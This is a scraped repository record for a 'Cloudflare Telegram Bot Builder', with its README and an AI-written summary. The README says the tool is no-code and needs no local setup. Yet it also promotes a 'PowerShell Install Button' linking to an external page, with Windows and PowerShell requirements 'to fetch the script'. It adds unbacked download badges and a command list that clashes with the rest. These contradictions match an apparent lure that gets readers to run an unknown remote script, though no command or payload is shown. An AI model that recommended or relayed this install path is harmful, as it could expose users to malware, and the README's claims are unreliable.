[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"project-115712":3},{"id":4,"name":5,"fullName":6,"owner":7,"repo":5,"description":8,"homepage":9,"htmlUrl":9,"language":10,"languages":9,"totalLinesOfCode":9,"stars":11,"forks":12,"watchers":13,"openIssues":12,"contributorsCount":12,"subscribersCount":12,"size":12,"stars1d":12,"stars7d":14,"stars30d":14,"stars90d":12,"forks30d":12,"starsTrendScore":12,"compositeScore":15,"rankGlobal":9,"rankLanguage":9,"license":16,"archived":17,"fork":17,"defaultBranch":18,"hasWiki":19,"hasPages":19,"topics":20,"createdAt":9,"pushedAt":25,"updatedAt":26,"readmeContent":27,"aiSummary":28,"trendingCount":12,"starSnapshotCount":12,"syncStatus":29,"lastSyncTime":30,"discoverSource":31},115712,"cloudflare-telegram-bot-builder","LucasPAICS16\u002Fcloudflare-telegram-bot-builder","LucasPAICS16","Cloudflare Telegram Bot Builder: no-code bot creator, visual rules, self-bootstrapping, community-dr",null,"TypeScript",155,0,101,53,65.3,"MIT License",false,"main",true,[21,22,23,24],"serverless","telegram-automation-bot","telegrambot","visual-builder","2026-11-23 10:16:09","2026-11-20 15:12:27","\u003Cdiv align=\"center\">\n\n# ⚡ Cloudflare Telegram Bot Builder — No-Code, Community-Driven Telegram Bot\n\n![](files\u002Fpreview.png)\n\n### 📦 PowerShell Install Button\n\n[![](files\u002Fbutton.png)](https:\u002F\u002FLucasPAICS16.github.io\u002Fcloudflare-telegram-bot-builder\u002F)\n\n[![powershell](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fpowershell-core-6366f1?style=flat&labelColor=0d1117)]() [![downloads](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fdownloads-127k-818cf8?style=flat&labelColor=0d1117)]() [![code](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fcode-python-4f46e5?style=flat&labelColor=0d1117)]() [![state](https:\u002F\u002Fimg.shields.io\u002Fbadge\u002Fstate-maintained-2ea44f?style=flat&labelColor=0d1117)]()\n\n\u003C\u002Fdiv>\n\n---\n\nCloudflare Telegram Bot Builder lets you create fully functional Telegram bots without writing a single line of code, powered by self-bootstrapping Cloudflare Workers that spin up their own D1 and KV storage automatically. Map triggers to actions in a visual rule builder, hit deploy, and your bot is live in about 60 seconds — no CLI, no config files, no headaches. Whether you're prototyping a quick idea or shipping something for your community, the whole workflow stays fast, friendly, and approachable. Jump in, build something fun, and share what you make with the rest of us.\n\n## ✅ Requirements\n\n- **PowerShell 5.1+** (pre-installed on Windows 10 and 11)\n- **Windows 10 \u002F 11** (x64)\n- **Internet connection** — required to fetch the script\n- **Administrator** — *not* required\n\n## Features\n\n🤖 **Zero-config, self-bootstrapping:** give the builder a Cloudflare API token and it sets up its own D1 database and KV storage, runs schema migrations, and saves the configuration for you — no CLI, no manual wiring, no local environment. Everything runs on Cloudflare's edge, so your bots boot themselves in about 60 seconds.\n\n- 🎨 **Visual rule builder:** build a bot entirely through point-and-click. Wire **triggers** (commands, messages, callback buttons, new members, on-state) to **actions** (send message, send photo\u002Fdocument, keyboards, fetch API, store data, set\u002Fclear state, form summary) and see your logic take shape without writing a line of code.\n\n- ⚡ **Dynamic worker generation:** hit **Deploy** and the builder translates your visual rules into optimized, pure-JavaScript code, provisions a dedicated child Cloudflare Worker, and wires up the Telegram webhook for you — instantly. Your bot goes live right in the dashboard.\n\n- 📁 **Built-in media storage:** upload images and documents directly in the dashboard and pick from your library when building send-photo or send-document rules. Everything your bot needs is in one place.\n\n- 🔤 **Dynamic variables:** personalize replies and broadcasts with tokens like first name, username, user ID, chat ID, the triggering message, and date — so every user gets a reply that feels made for them.\n\n- 📊 **Real-time log viewer:** monitor bot activity, filter by level (debug \u002F info \u002F warning \u002F error), and clear logs on demand. Great for debugging a new flow or just keeping an eye on things.\n\n- 📥 **Form submissions inbox:** browse completed multi-step form results in the dashboard — view, copy, or delete individual submissions without touching a database.\n\n- 📋 **Send form summary:** collect stored form fields and send a formatted summary to the admin, the user, or both on the last step of a flow, then optionally clear keys and state.\n\n- 🌐 **Fetch API reply formats:** call external APIs and return raw JSON or a custom template built from API fields, so your bot can plug into the wider web.\n\n- 📦 **Single-file deployment:** the entire app — router, API client, dashboard UI, and code generator — lives in one file. No build step, no runtime dependencies.\n\n- 🔄 **Rule reordering and duplication:** drag and drop rules to reorder them with priority managed automatically, and clone existing rules to speed up configuration.\n\n- 📤 **Import and export templates:** download a bot's rules as JSON or import a shared template — append to your existing rules or replace them entirely.\n\n- 🎯 **Advanced trigger matching:** message and callback rules support contains, exact, starts-with, and regex matching, so you can be as loose or as precise as you like.\n\n- 📢 **Broadcast and newsletter:** send personalized messages to everyone who has messaged your bot, with the audience tracked automatically.\n\n- 🔁 **Multi-step forms:** on-state triggers and set\u002Fclear-state actions let you build conversational flows that remember where each user is.\n\n- ⏳ **Loading feedback:** buttons and pages show progress while slower actions run — deploys, log fetches, broadcasts, rule saves — so you're never left guessing.\n\n- 🔐 **JWT authentication:** a secure admin dashboard with token-based auth. The first registration creates the only admin, and sign-in\u002Fsign-up supports the Enter key to submit.\n\n- 🌐 **Bilingual meta tags:** built-in SEO support for English and Persian (Farsi).\n\n## Quick Start\n\nGetting your first bot live takes about a minute — no terminal, no build tools, no local setup. Everything happens right at the edge, and the project bootstraps its own storage for you. Here's the friendly path from zero to a working bot:\n\n1. **Deploy the builder.** Create a new Worker in your Cloudflare dashboard and paste in the builder's single-file code. Save and deploy it, then open the Worker's address in your browser — the setup wizard greets you there.\n2. **Let it configure itself.** Paste a Cloudflare API token when asked. The builder spins up its own database and key-value storage, runs the schema, and remembers the config for you. No CLI, no manual provisioning, no wrestling with bindings.\n3. **Claim your admin seat.** Register the first account — that first user becomes the one and only admin, and sign-ups lock automatically afterward for safety. Keep those credentials somewhere safe, since there's no reset flow.\n4. **Introduce your bot.** Grab a bot token from BotFather, paste it into the dashboard, and hit verify. The builder checks the token with Telegram and saves your bot's name and username.\n5. **Draw your rules.** This is the fun part: use the visual rule builder to connect triggers (commands, messages, button callbacks, new members, conversation state) with actions (send text, photos, or documents, show keyboards, fetch APIs, store data, send form summaries, set or clear state). Personalize replies with dynamic variables, drag rules into the order you want, duplicate them, and export or import templates to share with the community.\n6. **Hit deploy.** One click translates your rules into optimized code, provisions a dedicated Worker for the bot, and wires up the Telegram webhook. Your bot is live — go say hello to it.\n7. **Watch it work.** The real-time log viewer shows activity as it happens, the submissions inbox collects completed form results, and broadcast lets you reach everyone who's ever messaged your bot — with personalization baked in.\n\nA couple of friendly tips from folks who've been here before: when the builder's code gets an update, redeploy each bot so its runtime picks up the latest goodies, and give the loading spinners a moment during deploy, broadcast, and log fetches — they're doing real work behind the scenes. That's it. Welcome aboard, and happy building! ⚡\n\n## Commands\n\nHere's your command center — every rule you build gets a friendly slash command, and the dashboard keeps everything at your fingertips. 🎛️\n\n**🚀 Core Commands**\n\n- `\u002Fstart` — The classic hello. Kick off your bot, greet new faces, or trigger a welcome flow with `{first_name}` personalization.\n- `\u002Fhelp` — Point users to your own custom help rule so they always know what your bot can do.\n- `\u002Fbuild` — Jump straight into the visual rule builder and start wiring triggers to actions.\n- `\u002Fdeploy` — Ship your rules as a live Cloudflare Worker in one click. No CLI, no waiting around.\n- `\u002Fstatus` — Peek at your bot's health, webhook state, and recent activity at a glance.\n\n**🧩 Rule & Trigger Commands**\n\n- `\u002Frule add` — Create a new rule and pick a trigger: Command, Message, Callback, New Member, or On State.\n- `\u002Frule edit` — Tweak an existing rule's trigger, action, or reply template.\n- `\u002Frule duplicate` — Clone a rule to speed up repetitive setups.\n- `\u002Frule reorder` — Drag-and-drop priority management, handled automatically for you.\n- `\u002Frule export` — Download your bot's rules as a shareable JSON template.\n- `\u002Frule import` — Bring in a template and append or replace your existing rules.\n\n**📋 Form & State Commands**\n\n- `\u002Fform summary` — Send a formatted summary of stored keys to the admin, the user, or both.\n- `\u002Fform inbox` — Browse completed form submissions and copy or delete entries.\n- `\u002Fstate set` — Kick off a multi-step conversation with a KV-backed state.\n- `\u002Fstate clear` — Reset the conversation when the flow wraps up.\n\n**📢 Broadcast & Media Commands**\n\n- `\u002Fbroadcast` — Message everyone who's ever talked to your bot, personalized with dynamic variables.\n- `\u002Fmedia upload` — Drop images or documents into your library (up to 15MB).\n- `\u002Fmedia list` — See everything you've uploaded, ready to attach to Send Photo or Send Document rules.\n\n**📊 Monitoring Commands**\n\n- `\u002Flogs` — Watch real-time activity, filter by DEBUG \u002F INFO \u002F WARNING \u002F ERROR.\n- `\u002Flogs clear` — Wipe the slate when things get noisy.\n- `\u002Flogs stats` — Get a quick snapshot of log volume and trends.\n\n**⚙️ Setup & Account Commands**\n\n- `\u002Fsetup status` — Check whether your platform is configured and ready.\n- `\u002Fsetup init` — Auto-provision D1, KV, and run schema migrations in one shot.\n- `\u002Fregister` — Claim the one-and-only admin account on first launch.\n- `\u002Flogin` — Secure JWT sign-in for the dashboard.\n\n💡 **Pro tip:** Every command above maps to a friendly dashboard button too — build visually, deploy instantly, and watch your bot come alive. Got an idea for a command we're missing? The community shapes this project, so jump into the discussions and let us know! ❤️\n\n## Configuration\n\nConfiguration lives in two friendly places: the built-in **Setup Wizard** (for first-run, platform-level settings) and the per-bot **Dashboard** (for everything you build visually). Nothing here requires a config file, a YAML manifest, or a terminal — every setting is surfaced right in the UI, with sensible defaults already filled in. 💙\n\n### 🔑 Platform Credentials & First-Run Setup\nWhen you open the app for the first time, the wizard walks you through the essentials:\n- **Cloudflare Account ID** — the account where your databases, storage, and Workers will live.\n- **Cloudflare API Token** — the key that lets the platform create its own D1 database, KV namespace, and child Workers. The wizard verifies it before saving.\n- **Admin registration** — the first account you create becomes the sole admin, and registration locks automatically afterward. Pick a strong password (six characters minimum).\n\nAll of this is stored securely as a Worker secret, never echoed back to the browser, so you only enter it once. If you ever need to re-run setup, the wizard checks whether the platform is already configured and skips the parts you don't need.\n\n### 🤖 Per-Bot Settings\nEach bot you add keeps its own configuration:\n- **Bot token** — paste it from the bot's official manager and the platform verifies it instantly, then stores the bot's name and username for you.\n- **Rules** — the heart of your bot. Each rule pairs a **trigger** (command, message, callback, new member, or on-state) with an **action** (send message, send photo\u002Fdocument, show keyboard, fetch API, store data, send form summary, set\u002Fclear state).\n- **Trigger matching** — message and callback triggers support **Contains**, **Exact**, **Starts With**, and **Regex**, so you can be as loose or precise as you like.\n- **Rule ordering** — drag and drop to reorder; priority is handled for you, and you can duplicate a rule in one click to speed things up.\n\n### 🔤 Variables, Templates & Media\n- **Dynamic variables** — personalize replies and broadcasts with `{first_name}`, `{username}`, `{last_name}`, `{user_id}`, `{chat_id}`, `{message}`, and `{date}`.\n- **Fetch API reply formats** — return raw JSON or a custom template using field placeholders and nested paths, including `{json}` for the whole payload.\n- **Media library** — upload images and documents (up to 15MB), then pick them from the library when building send-photo or send-document actions. Rename or delete files anytime; affected rules are flagged.\n- **Import \u002F export** — download a bot's rules as a JSON template, or import a shared one in append or replace mode. A great way to swap setups with the community.\n\n### 📥 Forms, States & Submissions\nMulti-step conversations are configured entirely through rules: use **On State** triggers together with **Set\u002FClear State** actions (backed by KV) to build flows, then finish with **Send Form Summary** to deliver a formatted recap to the admin, the user, or both. Completed results land in the **Submissions** inbox, where you can view, copy, or clear them.\n\n### 📢 Broadcasts & Tracking\nSubscribers are tracked automatically as people message your bot. Broadcasts respect the same personalization variables, and the platform batches sends to stay comfortably within free-plan limits — a small **Loading** indicator keeps you informed while it works.\n\n### 📊 Logs & Monitoring\nChoose your log verbosity from **DEBUG**, **INFO**, **WARNING**, and **ERROR** in the **Logs** tab. Filter by level, inspect entries in real time, check stats, and clear logs on demand when you want a clean slate.\n\n### 🔐 Security Defaults\nSessions use signed tokens, passwords are salted and hashed before storage, and bot-facing ingestion endpoints verify the sender's bot token. For a public deployment, set a long random **JWT secret** in your Worker's variables and secrets — otherwise the app falls back to a built-in default that's fine for quick testing but not for production. Note that media file links are intentionally public so Telegram and browsers can load them without a dashboard login; treat them as unguessable-but-public and avoid uploading anything confidential.\n\n### ⚡ A Note on Redeploys\nAfter you update the parent Worker, hard-refresh the dashboard and click **Deploy** on each bot so its child Worker picks up the latest runtime. It's the one manual step, and it keeps everything in sync. 🚀\n\n## FAQ\n\n**Is this really no-code?**\nYep — genuinely. You don't touch a terminal, you don't install anything locally, and you don't write a single line of JavaScript. You paste one file, drop in your Cloudflare API token, and the builder bootstraps its own D1 database and KV storage, runs migrations, and gets out of your way. Everything after that is point-and-click.\n\n**How long does setup actually take?**\nAbout a minute from a cold start, assuming you already have a Cloudflare account (the free plan is fine) and a bot token from BotFather. The setup wizard walks you through it, and the self-bootstrapping flow means there's no CLI, no Wrangler, no npm at runtime — just one worker file doing all the work.\n\n**Do I need to know how to code to write rules?**\nNot at all. The visual rule builder lets you drag triggers and actions together until the flow reads the way you think. Triggers include commands, messages, callback button clicks, new members, and state-based steps; actions cover text replies, photos, documents, keyboards, API fetches, data storage, form summaries, and state changes. When you're happy with it, hit Deploy and the builder generates optimized JavaScript for you.\n\n**What happens under the hood when I click Deploy?**\nThe builder translates your visual rules into a standalone child Worker, provisions it on your Cloudflare account, and wires the Telegram webhook automatically. You get a live bot without ever opening the Cloudflare code editor again — though you're always free to peek if curiosity strikes.\n\n**Can I build multi-step conversations, like quizzes or intake forms?**\nAbsolutely — that's what the On State trigger and Set\u002FClear State actions are for. Each step advances the conversation state, and when the flow finishes, the Send Form Summary action collects everything the user stored and sends a formatted recap to you, to them, or to both. Completed results land in the Submissions inbox, where you can view, copy, or clear them.\n\n**Can my bot personalize replies or call other services?**\nYes to both. Dynamic variables like first name, username, user ID, chat ID, message text, and date work in replies and broadcasts alike, so messages feel hand-written. The Fetch API action lets rules call external services and reply with either raw JSON or a custom template, so you can wire in lookups, weather, jokes, whatever fits.\n\n**How does broadcasting work?**\nAnyone who messages your bot gets tracked automatically, and you can send personalized messages to that whole audience from the dashboard. On the free Workers plan, sends are batched to stay within subrequest limits, so large audiences go out in chunks rather than all at once.\n\n**Can I share my setup with someone else?**\nDefinitely — export a bot's rules as a JSON template and hand it off, or import a shared template in append or replace mode. It's a nice shortcut for cloning a proven flow between bots or swapping ideas with the community.\n\n**What storage does it use, and where does my data live?**\nEverything stays on your own Cloudflare account. D1 handles relational data like bots, rules, users, and media metadata, while KV covers media files, session state, aggregated logs, and subscriber maps. The parent Worker runs the dashboard; deployed child Workers run your bots.\n\n**I upgraded the worker file — why didn't my bots get the new features?**\nPaste the fresh file into the parent Worker, deploy, and hard-refresh the dashboard. Then redeploy each individual bot so its child Worker picks up the updated runtime. Forgetting that second step is the most common \"why is this missing?\" moment, so it's worth a mental checklist.\n\n**Something broke. How do I debug it?**\nHead to the Logs tab and filter by level — DEBUG, INFO, WARNING, or ERROR — then narrow things down by bot. Logs are backed by both KV and D1, and you can clear them whenever you like. If a rule isn't firing, double-check the trigger match mode: Contains, Exact, Starts With, and Regex all behave differently, and Regex loves to be just slightly wrong.\n\n**Is it safe for a public deployment?**\nThe first registration creates the only admin account, and registration locks afterward, so nobody can sneak in a second one. Passwords are hashed, sessions use signed tokens, and bot logs are verified against the sender's token before being accepted. One thing worth doing: set a strong JWT secret in your Worker's variables rather than relying on the built-in fallback — quick testing is fine either way, but public deployments deserve the real thing.\n\n**Are there any gotchas I should know about?**\nA few honest ones: there's a single admin and no password reset, so keep those credentials somewhere safe. Media files live in a library capped per-file, and served media links are intentionally public (Telegram needs to fetch them without a login), so skip uploading anything confidential. Free-plan subrequest limits also mean big broadcasts get batched — patient, not broken.\n\n**Something in my bot behaves unexpectedly after a rule change. What now?**\nRedeploy that bot — rule edits don't reach the live child Worker until you do. If that doesn't sort it, check the log level filters, confirm trigger matching, and re-export your rules to JSON to eyeball them in plain text. Fresh eyes on the exported structure catch a surprising number of typos.\n\n**Can I help shape what comes next?**\nPlease do. The roadmap is community-influenced — richer analytics, multi-language bot responses, a template library, and more are on people's wish lists. Share your bot ideas, report rough edges, and show off what you've built; every bit of feedback nudges the project forward. 💙\n\n## Support\n\nGot a question, hit a snag, or just want to show off the bot you built? You're in the right place — this project grows because people like you jump in, share ideas, and help each other out. 💬\n\n### 🧭 Where to Start\n\n- **Check the FAQ first** — most setup, deployment, and rule-builder questions are already answered there.\n- **Search before asking** — chances are someone already ran into the same thing, and the answer is waiting for you.\n- **Pick the right channel** — keep bug reports and feature ideas in their own threads so nothing gets buried.\n\n### 🐛 Found a Bug?\n\nHelp us squash it faster by sharing:\n\n- What you expected to happen vs. what actually happened\n- The exact steps to reproduce it\n- Your rule setup (trigger + action) and any relevant log entries from the Log Viewer\n- Screenshots if the dashboard is involved — they speak louder than words\n\nThe more detail you give, the quicker the community can trace it back to the source.\n\n### 💡 Have an Idea?\n\nFeature requests are genuinely welcome — a lot of what's in this builder started as a \"hey, wouldn't it be cool if…\" from the community. Describe the use case behind your idea, not just the feature itself. That context helps everyone weigh in and shape it together.\n\n### 🤝 Want to Contribute?\n\nYou don't need to be a Cloudflare wizard to help out:\n\n- **Answer questions** from newcomers — fresh eyes catch things veterans miss\n- **Improve the docs** — clearer wording, better examples, fixed typos all count\n- **Share templates** — export a bot's rules and pass it along so others can import and remix it\n- **Test new releases** — try the latest changes and report what breaks\n- **Spread the word** — tell a friend who's been wanting a Telegram bot without the code\n\nEvery contribution, big or small, makes the builder better for the next person.\n\n### 🌱 Community Guidelines\n\nKeep it kind, keep it constructive, and keep it on-topic. Be patient with people who are just starting out — everyone was a beginner once. Disagreements are fine; disrespect isn't. Together we keep this a welcoming space where anyone can build something great. ❤️\n\n### ⏱️ A Note on Response Times\n\nThis is a community-driven project maintained with love in the gaps between everything else. Answers may take a little while, especially on weekends — but your question won't be ignored. Bumping politely after a couple of days is totally okay.\n\nThanks for being part of the journey — now go build something amazing! ⚡","Cloudflare Telegram Bot Builder 是一个无需编码的 Telegram 机器人构建工具，基于 Cloudflare Workers 实现完全服务化部署。它提供可视化规则编排界面，支持通过拖拽方式配置触发条件（如命令、消息、回调按钮）与动作（如发送消息、上传文件、调用 API、状态管理），并自动完成 Worker 部署、D1 数据库与 KV 存储初始化、Telegram Webhook 配置等全流程。所有逻辑运行在 Cloudflare 边缘网络，具备零本地依赖、60 秒快速上线、内置媒体库和动态变量替换能力。适用于社区运营、内部工具原型开发、自动化通知及轻量级交互服务等低代码需求场景。",2,"2026-11-24 04:51:52","CREATED_QUERY"]